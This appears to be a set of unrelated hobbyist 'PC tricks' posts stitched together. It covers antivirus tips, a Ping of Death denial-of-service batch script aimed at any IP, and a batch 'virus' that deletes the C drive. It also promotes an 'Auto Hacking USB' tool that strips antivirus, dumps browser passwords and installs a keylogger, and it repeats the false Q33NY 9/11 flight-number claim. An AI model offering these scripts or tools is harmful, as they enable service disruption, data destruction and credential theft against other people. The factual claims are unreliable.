6 ways to protect your PC without antivirus

We have been relying on antivirus for so long. It never occurs to us that what if antivirus is not protecting us but instead it is exposing up to threat.

Recent researches have shown that antivirus are now becoming "USELESS" rather than beco
ming handy. Google's Project Zero has also released warnings regarding Symantec's Norton antivirus to be a potentially vulnerable to your security.

"These vulnerabilities are as bad as it gets. They don't require any user interaction, they affect the default configuration, and the software runs at the highest privilege levels possible", said Google researcher Tavis Ormandy.

Here are some tricks that might come handy for your security while using internet services:

1) Always look out what links are you clicking.

2) Use Adblock Plus or any other extension you like to block the ads.

Note: You can install it from extensions option of your browser.

3) Turn the pop-ups off from the browser settings.

4) Keep your Windows Security certificates and your browser up to date.
Note: Try keeping all your softwares up to date.

5) Try using USBs with caution.

6) Install a software which comes from a valid source or else you might end up with a hectic condition of virus infection in your device.

How To Perform Ping of Death Attack Using CMD And Notepad

A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash. 

We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes.If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes.

Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack.

How Ping of Death attack works?

Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent from a source computer to a target machine, the ping packet gets fragmented into smaller groups of packets.

One fragment is of 8 octets size. When these packets reach the target computer, they arrive in fragments. So, the target computer reassembles the malformed packets which are received in chunks. But, the whole assembled packet causes buffer overflow at the target computer.

This buffer flow often causes the system crash making the system more vulnerable to attack.

Once the system becomes more vulnerable to attack, it allows more attacks like the injection of a trojan horse on the target machine.

A simple tutorial on how to perform DoS attack using ping of death using CMD:

Disclaimer: This is just for educational purposes. It’s nothing great but you can use it to learn.

Here are the steps:

• Open Notepad
• Copy the following text on the notepad

:loop
ping <IP Address> -l 65500 -w 1 -n 1
goto :loop

In the above command, replace <IP Address> with an IP address.

• Save the Notepad with any name. Let’s say dos.txt
• Right click on the dos.txt and click on rename.
• Change the extension from .txt to .bat
• So, now the file name should be dos.bat
• Double click on it and you will see a command prompt running with a lot of pings.

Note: This command might not work on some systems.

Top 5 Cool Notepad Tricks

I had previously share some Interesting computer tricks as well as cool Batch file programs. In this post i will share with you guys some of the cool notepad tricks.As name suggest you don't require any program other then notepad. So lets get started.

1. World Trade Center Attack Trick

The flight number of the plane that had hit World Trade Center on  (9/11) was Q33NY. Now we call this trick or a coincidence or something else but whatever it is you will be definately amazed by the this trick.

    1. Open Notepad and Type “Q33N” (without quotes) in capital letters.
    2. Increase the font size to 72.
    3. Change the Font to Wingdings.

• World Trade Center Notepad Trick

2. Matrix Effect Trick

In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

    1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

    2. Now save this file as Matrix.bat (name can be anything but .bat is must)
    3. Open your saved file and you will have matrix effect on your screen.

• Matrix Effect Using Notepad
• Advance Matrix Effect

3. Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

    1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

  
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.

• Learn To Make Dangerous Virus In Minute

4. Making Personal Diary Using Notepad 

Here you will learn to use notepad as Digital diary or a log book to keep record of your daily work instead of using pen and paper.

    1. Open Notepad and Type .LOG (in capital Letters and press enter

    2. Save the program with any name and close it.

    3. Open the file again. Now you can see current date and time, This will happen every time you reopen notepad

• Make Personal Diary Using Notepad

5. Dancing Keyboard Led

In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.

    1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

    2. Then save this file as dance.vbs (name can be anything but .vbs is must)
    3. Open your save file and see your keyboard led blinking like disco lights.

• Keyboard Dancing Led Light Trick

Auto Hacking USB

In this inscrutable I will show you how to make an auto hacking usb drive. This is my first tutorial so bare with me.

Also this tutorial should be used for legal and educational purposes. I am not responsible for you doing something illegal.

Step 1: Download the files.

I went ahead and created all the files necessary so all you have to do is drag and drop.

You can download the files here: https://github.com/rossepsteini/Auto-Hacking-USB

Just click download zip and then drag the zip to your flash drive and unzip it.

Step 2: Use it

To use it just click the start.bat

Features:

- Removes antivirus from the computer

- Records all stored passwords from all browsers to a .txt file called passwords.txt

- Silently installs a key logger to the computer which can still be used after the usb is unplugged just plug it back in to automatically sync all logged keys. The logged keys will be shown in a text file called daten.txt

- Takes all searches that the computer has done and puts them in a txt file called searches.txt (Google, Bing, etc.)

This is the very first release and i plan on making a version 1.1 soon which will add silently removing antivirus and will also add alot of cool features. So check my github for updates and also for any other cool programs i have coming. :)

Automatically Download Subtitles on VLC

Watching movie and can't find subtitles?
Bored off using different subtitle sites and ending up with wrong ones?
Here comes an end to this problem.


Downloading subtitles has been an issue for movie fans from the beginning of SRT/SUB era. Well, the problem has been minimized and within some time, we will come up with a permanent solution to this problem.

The tool being used for this purpose is VLSUB; an extension of VLC media player.

To download and install this tool, follow the given procedure:

1. Download the VLSub extension ftom the following link:
   http://adf.ly/1ZI4n0
2. Unzip the 'VLSub-master.zip' into your desired destination.
3. Now, copy the vlsub.lua file into the destination according to your OS.
   The destinations according to different OS are following:
   
   
4. Now, open VLC media player and click View option in menu bar.
5. Click the 'VLSub **.**.**' option on the end of the list.
   (Assuming that you pasted the vlsub.lua file into correct destination).
6. The following window will appear.
   
   
7. Type the name of the movie in the Title text box.
8. Select your desired movie from the list which would appear.
9. Choose the most accurate search result and your subtitle is downloaded.
   
   Enjoy your movie.

Make Your Compute Shutdown Later Automatically

There are times when you want Window to shutdown your device automatically after a specific countdown. Windows has not provided this feature yet. But, by a simple way, you can totally trick your way into to shuting down your PC/laptop at specific time automatically.

Steps

1. Right click on my desktop

2. Select 'New'. Then select 'Shortcut'.

3. You will be prompted with a window containing this message:
 “What item would you like to create a shortcut for?”

4. Enter the following line into the dialog box:
   'shutdown -s -t 600'

 
Note: 

    60 seconds mean 1 minute. So, 600 seconds means 10 minutes. Set it according to your requirement.

5. Click 'Next' and then save the file on whatever destination you like. 

6. Now, all you need to do is to open the shortcut you created and the shutdown's countdown will start. A notification will show up confirming that you have followed the procedure properly and would confirm this trick is going to work.